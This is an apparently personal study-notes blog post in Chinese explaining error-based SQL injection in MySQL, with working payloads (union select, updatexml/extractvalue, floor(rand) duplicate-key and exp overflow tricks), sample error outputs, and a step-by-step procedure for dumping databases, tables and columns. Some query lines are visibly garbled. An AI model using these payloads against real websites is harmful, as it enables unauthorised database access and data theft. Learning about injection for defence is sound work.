【Sql注入】报错注入
本Web安全基础推文系列旨在以平白的语言讲解漏洞原理,文章多数内容为我本人的学习笔记与总结,汇总供大家参考。
sql注入漏洞概述
本篇我们即将开启Web安全基础学习之旅,从我所整理的笔记中梳理常见Web漏洞的诸多知识点,包括漏洞原理,分类,利用场景及手段,渗透测试步骤,防御措施及常用工具等多个角度。本Web安全基础推文系列旨在以平白的语言讲解漏洞原理,文章多数内容为我本人的学习笔记与总结,汇总供大家参考。
首先,sql注入原理:存在输入口,使得用户输入的恶意sql语句拼接到正常语句中被后台执行。
1 漏洞分类
1.1 按参数类型分类
SQL语句注入点的参数类型有数字型和字符型,如下:
1)数字型注入:SELECT * FROM users WHERE id=$id
参数$id为整型,即数字型。举例报错注入情况下,由payload:?id=1 and 1=1/?id=1 and 1=2,由于and 1=1使得整个逻辑表达式结果为1,and 1=2结果为0,这两种拼接的结果不同,势必会使页面有不同的回显,因此可以用来验证是否存在注入点。
2)字符型注入:SELECT * FROM users WHERE id=’$id’
参数’$id’为string类型, 如sqli-lab-Less-1 此时?id=1’ 发现报错,爆数据库名和mysql版本payload为:?id=1’ union select 1,database(),version()–+
1.2 按注入方式分类
大致可以分为:报错注入,盲注,联合注入,HTTP注入,二次注入,堆叠注入,宽字节注入这几种。
报错注入
由于Mysql在执行语句的时候会抛出异常信息,而php+mysql架构的网站往往又将错误代码显示在页面,因此攻击者可以利用这一点从报错信息中获取数据库的私密数据。这种注入行为称为“报错注入”。报错注入是注入页面可显示数据库报错结果的情况下,利用函数报错使其输出错误结果来获取数据库的相关信息的一种sql注入类型。
1)数据类型溢出
当数值超出某个类型的最大范围时就会溢出报错。exp函数就会产生类似的溢出错误
mysql> select ~0;
+———————-+
| ~0 |
+———————-+
| 18446744073709551615 |
+———————-+
1 row in set (0.00 sec)
mysql> select 0+1;(0) + 1)’
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(710)’
利用姿势
mysql> select exp((select*from(select user())x));((select ‘root@localhost’ from dual)))’
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(
这里的x是把user()取名为x的意思
2)xpath语法错误
利用xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数。
extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容
extractvalue
函数原型:extractvalue(xml_document,Xpath_string);
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
updatexml
函数原型:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据
作用:改变文档中符合条件的节点的值
利用姿势
mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: ‘5.7.17‘
mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: ‘5.7.17‘
3)主键重复错误
count()+rand()+group by导致主键重复,count()和group by在遇到rand()产生的重复值时报错
我们基于sql语句:Select count(*) from test group by floor(rand(0)*2),查看下面的分析:
原理:group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。
而rand(0)是个稳定的序列,floor(rand(0)2)则会固定得到011011…的序列,插入的时候就会报主键重复的错误。
利用姿势
mysql> select count() from test group by concat(version(),floor(rand(0)2));
ERROR 1062 (23000): Duplicate entry ‘5.7.171’ for key ‘
mysql> select count(
ERROR 1062 (23000): Duplicate entry ‘5.7.171’ for key ‘
4)列名重复报错
mysql列名重复会报错,可以利用name_const(const)来制造一个列:
mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
ERROR 1060 (42S21): Duplicate column name ‘5.7.17’
mysql> select * from(select * from test a join test b)c;
ERROR 1060 (42S21): Duplicate column name ‘id’
mysql> select * from(select * from test a join test b using(id))c;
ERROR 1060 (42S21): Duplicate column name ‘name’
5)几何函数报错
mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行。
2 注入步骤及漏洞利用
① 找注入点
② 判断注入类型
③ 判断是整型还是字符型
④ 判断查询列数
⑤ 判断显示位
⑥ 获取所有数据库名
⑦ 获取表名
⑧ 获取列名
⑨ 获取列中信息
3 常用函数说明
① 0x7e=’’‘可以换成’#’、’$’等不满足xpath格式的字符
② concat(‘a’,‘b’)=“ab” 起到连接两个字符的作用;
③ version()等同于@@version
④ ‘
⑤ extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位
extractvalue(xml_document,Xpath_string) 两个参数
updatexml(xml_document,xpath_string,new_value) 有三个参数
一般在其参数里用concat() 去拼接更多内容报错
⑥ sql语句最后–+ 和# 是为了使语句闭合引入注释,使得sql语句提前闭合,成功注入我们的语句
4 总结
上两篇文章中我们总结了两个信息搜集过程常遇到的问题:CDN绕过和泛域名解析,本篇我们讲解了sql注入漏洞的报错注入类型,其中关于主键重复报错的细节我建议至参考链接查看。下期我们可能会讲解一些计算机网络基础,并继续整理sql注入的知识点。
最后闲聊几句,最近开始海投简历面试,希望暑假前能找到实习,忽然又开始做起了大厂梦,又开始有了peer pressure。
记得微博网友有句话说的蛮好:焦虑没有用,做才有用。
参考链接
声明:本Web安全基础推文系列旨在以平白的语言讲解漏洞原理,文章多数内容为我本人的学习笔记与总结,汇总供大家参考。所有内容仅作为学习记录。请遵守中华人民共和国法律!